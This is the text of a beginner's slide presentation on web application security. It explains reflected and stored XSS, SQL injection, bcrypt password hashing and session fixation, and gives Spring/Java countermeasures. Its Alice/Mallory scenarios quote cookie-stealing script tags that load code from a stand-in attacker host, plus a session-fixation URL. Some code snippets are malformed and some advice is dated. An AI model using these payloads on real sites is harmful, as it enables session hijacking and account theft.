This is my first PPT.So It's not well written but I tried to do my best.

1. Web application security
The majority of web application attacks occur
through cross-site scripting (XSS) and SQL injection attacks
which typically result from flawed coding, and failure to
sanitize input to and output from the web application.
These are ranked in the 2009 CWE/SANS Top 25 Most
Dangerous Programming Errors. According the security
vendor Cenozoic, the top vulnerabilities in March 2012
include:
Cross site scripting : 37 % and SQL Injection: 16 %

2. Cross Site Scripting
Cross-site scripting (XSS) is a type of computer security vulnerability typically
found in Web applications. XSS enables attackers to inject client-side
script into Web pages viewed by other users. A cross-site scripting
vulnerability may be used by attackers to bypass access controls such as
the same origin policy. Cross-site scripting carried out on websites accounted
for roughly 84% of all security vulnerabilities documented by Symantec as of
2007. Their effect may range from a petty nuisance to a significant security
risk, depending on the sensitivity of the data handled by the vulnerable site
and the nature of any security mitigation implemented by the site's owner.
Types of XSS:
1-NON-Persistent
2-Persistent

3. NON-Persistent XSS
Alice often visits a particular website, which is hosted by Bob. Bob's website
allows Alice to log in with a username/password pair and stores sensitive
data, such as billing information. When a user logs in, their browser keeps an
Authorization Cookie, which just looks like some garbage characters, so both
computers remember that she's logged in.
Mallory observes that Bob's website contains a reflected XSS vulnerability. If
you go to the Search page, and search for some text like 'puppies', and it's
not found, the page will display back what you searched for; it says "puppies
not found". But, if your search text contains HTML tags in it, the tags get
displayed as-is, and any script tags get run.
Mallory crafts a URL to exploit the vulnerability. She notices that when you
search for 'puppies', the site goes to URL http://bobssite.org?q= puppies So
she makes the URL http://bobssite.org?q= puppies<script
src=mallorysevilsite.com/authstealer.js and sends an email to some
unsuspecting members of Bob's site, saying "Check out some cute puppies!"

4. Alice gets the email. She loves puppies and clicks on the link. It goes to Bob's website
to search, doesn't find anything, and displays "puppies not found" but right in the
middle, the script tag runs (it's invisible on the screen) and loads and runs Mallory's
program authstealer.js (This is the actual XSS vulnerability.) Alice forgets about it.
The authstealer.js program runs in Alice's browser, as if it's part of Bob's website. It
grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where
Mallory retrieves it.
Mallory now sets Alice's auth cookie into her browser as if it's her own auth cookie.
She then goes to Bob's site and she's now logged in as Alice!
Now that she's in, Mallory goes to the Billing section of the website and looks up
Alice's credit card number and grabs a copy. Then she goes and changes her
password, to a password of her choosing, so Alice can't even log in anymore.

5. Persistent XSS
Mallory gets an account on Bob's website.
Mallory observes that Bob's website contains a reflected XSS vulnerability. If you go to the News
section, and post a comment, it will display whatever she types in for the comment. But, if the
comment text contains HTML tags in it, the tags get displayed as-is, and any script tags get run.
Mallory reads an article in the News section, and writes in a comment at the bottom in the Comments
section. In the comment, she inserts this text: I love the puppies in this story! They're so cute!<script
src=mallorysevilsite.com/authstealer.js That'll take the current user's authorization cookie and send
it to Mallory's secret server for collection. Bob's website software should have stripped out the script
tag or done something to make sure it didn't work, but he didn't; that's the security bug.

6. When Alice(or anyone)loads the page
with the message, Mallory's script tag
runs and steals Alice's authorization
cookie.
Mallory can now hijack Alice's session
and impersonate Alice.

7. How to Reducing the XSS script
The primary defense mechanism to stop XSS is contextual output
encoding/escaping. There are several different escaping schemes that must be
used depending on where the untrusted string needs to be placed within an
HTML document including HTML entity encoding, JavaScript escaping, CSS
escaping, and URL (or percent) encoding. Most web applications that do not
need to accept rich data can use escaping to largely eliminate the risk of XSS in a
fairly straightforward manner.
It is worth noting that although it is widely recommended, simply performing
HTML entity encoding on the five XML significant characters(< , > , “ , ‘ ,&) is not
always sufficient to prevent many forms of XSS

8. Ex. Of XSS
Suppose I am giving a Alice user to fill a form and Alice intentionally write
“cool<script>capustv.com?mailme=document.readcookie();</script>”
inside form element and save in database.(i.e Alice profile)
Suppose Bob user came and hit Alice profile page then that script executed at Bob browser and
mail all Bob saved cookie to Alice account.
Now Alice Becomes AliceBob.(security breach)
So ,How to Reduce the attack of XSS in JAVA
we give the instruction to browser – Please don’t execute script .
We validate the data at client/server side.
At Client side after retrieving form data with script tag from database
Use JSTL function -
fn:escapeXml(“cool<script>capustv.com?mailme=document.readcookie();</script>”)
o/p-cool&lt;script&gt; ….
At Server Side
1-Use Spring given method.
StringEscapeUtils.escapeHtml(), escapeJavaScript(), escapeSql()

9. 2- At Client Side Before form data goes to server
In Spring you can escape the html from JSP pages generated
by <form> tags. This closes off a lot avenues for XSS attacks, and can
be done automatically in three ways:
For the entire application in the web.xml file:
1- <context-param>
<param-name>defaultHtmlEscape</param-name> <param-value>
true</param-value> </contextparam>
2- For all forms on a given page in the file itself:
<spring:htmlEscape defaultHtmlEscape="true" />
3- For each form:
<form:input path="someFormField" htmlEscape="true" />

10. SQL Injection
SQL injection is a code injection technique, used to attack data-driven applications, in which malicious
SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to
the attacker). SQL injection must exploit a security vulnerability in an application's software, for
example, when user input is either incorrectly filtered for string literal escape characters embedded
in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is
mostly known as an attack vector for websites but can be used to attack any type of SQL database.
But Mongo is NOSQL database.haha

11. SUGGESTION
1-For saving user Password at Reg. time
• Used BCRYPT with salt techinqe
• BCRYPT- Spring Security’s PasswordEncoder interface is used to support the use of
passwords which are encoded in some way in persistent storage. You should never store
passwords in plain text. Always use a one-way password hashing algorithm such as bcrypt
which uses a built-in salt value which is different for each stored password. Do not use a plain
hash function such as MD5 or SHA, or even a salted version. Bcrypt is deliberately designed
to be slow and to hinder offline password cracking, whereas standard hash algorithms are
fast and can easily be used to test thousands of passwords in parallel on custom hardware.
You might think this doesn’t apply to you since your password database is secure and offline
attacks aren’t a risk. If so, do some research and read up on all the high-profile sites which
have been compromised in this way and have been pilloried for storing their passwords
insecurely. It’s best to be on the safe side.
Using org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder" is a good choice
for security. There are also compatible implementations in other common programming
languages so it a good choice for interoperability too.
If you are using a legacy system which already has hashed passwords, then you will need to
use an encoder which matches your current algorithm, at least until you can migrate your
users to a more secure scheme (usually this will involve asking the user to set a new
password, since hashes are irreversible). Spring Security has a package containing legacy
password encoding
implementation,namely, org.springframework.security.authentication.encoding.The DaoAuth
enticationProvider can be injected with either the new or legacy PasswordEncoder types.

12. • One potential problem with the use of password hashes that it is relatively
easy to get round the one-way property of the hash if a common word is
used for the input. People tend to choose similar passwords and huge
dictionaries of these from previously hacked sites are available online. For
example, if you search for the hash
value 5f4dcc3b5aa765d61d8327deb882cf99 using google, you will quickly
find the original word "password". In a similar way, an attacker can build a
dictionary of hashes from a standard word list and use this to lookup the
original password. One way to help prevent this is to have a suitably strong
password policy to try to prevent common words from being used.
Another is to use a"salt" when calculating the hashes. This is an additional
string of known data for each user which is combined with the password
before calculating the hash. Ideally the data should be as random as
possible, but in practice any salt value is usually preferable to none. Using
a salt means that an attacker has to build a separate dictionary of hashes
for each salt value, making the attack more complicated (but not
impossible).
• Bcrypt automatically generates a random salt value for each password
when it is encoded, and stores it in the bcrypt string in a standard format.

13. EX. Of Bcypt Password
User Name User password Bcypt password in DB
Ritesh admin $2a$10$V4loztOmWLaPOD
dFZxgN0escYllNdMvL0zJbu
tkDtBF8A2rkBgB.6
Raushan admin $2a$10$teJrCEnsxNT49ZpX
U7n22O27aCGbVYYe/RG6/
XxdWPJbOLZubLIi2
Both user has same
password
But in DB both has different
Password
User Registration
Using Bcrypt you can
only encode the data
not decode.spring
manage internally for
password match

14. 2-Never put credentials in session scope.for
session please assign user credentials to null.
3-Never logs the User Credentials.
Session Fixation Attack
session fixation attacks attempt to exploit the
vulnerability of a system which allows one person
to fixate (set) another person's session identifier
(JSESSIONID). Most session fixation attacks are
web based, and most rely on session identifiers
being accepted from URLs (query string) or POST
data.

15. Ex. Of Attack using server generated SESSIONID
• A misconception is that servers which only accept server generated
session identifiers are safe from fixation. This is false.
Scenario:
• Mallory visits http://vulnerable.example.com/ and checks which SID
is returned. For example, the server may respond: Set-Cookie:
JSESSIONID=0D6441FEA4496C2.
• Mallory is now able to send Alice an e-mail: "Check out this new
cool feature on our
bank, http://vulnerable.example.com/?JSESSIONID=0D6441FEA449
6C2."
• Alice logs on, with fixated session
identifier JSESSIONID=0D6441FEA4496C2.
• Mallory visits http://vulnerable.example.com/?
JSESSIONID=0D6441FEA4496C2 and now has unlimited access to
Alice's account.

16. Countermeasures from
SessionFixation
• Never pass SessionId in a URL set SessionID as a cookie.
• Utilize SSL / TLS Session identifier.
• Regenerate SESSIONID on each request(Important)
1-Get previous Session Identifier OLD_SID from HTTP
request.
2-If OLD_SID is null, empty, or no session with
SID=OLD_SID exists, create a new session.
3-Generate new session identifier NEW_SID with a secure
random number generator.
4-Let session be identified by SID=NEW_SID (and no longer
by SID=OLD_SID)
5-Transmit new SID to client.

17. Forgot Password Suggestion
• We should not mail the password on mail.
• Provide link where user set new password .

18. • This is not 100% security .i tried to do my best
• Download OWASP tool for check site security
BY
Ritesh Raushan
Java Developer
Vliv Inc.
I will also shared a mongo
db security in few days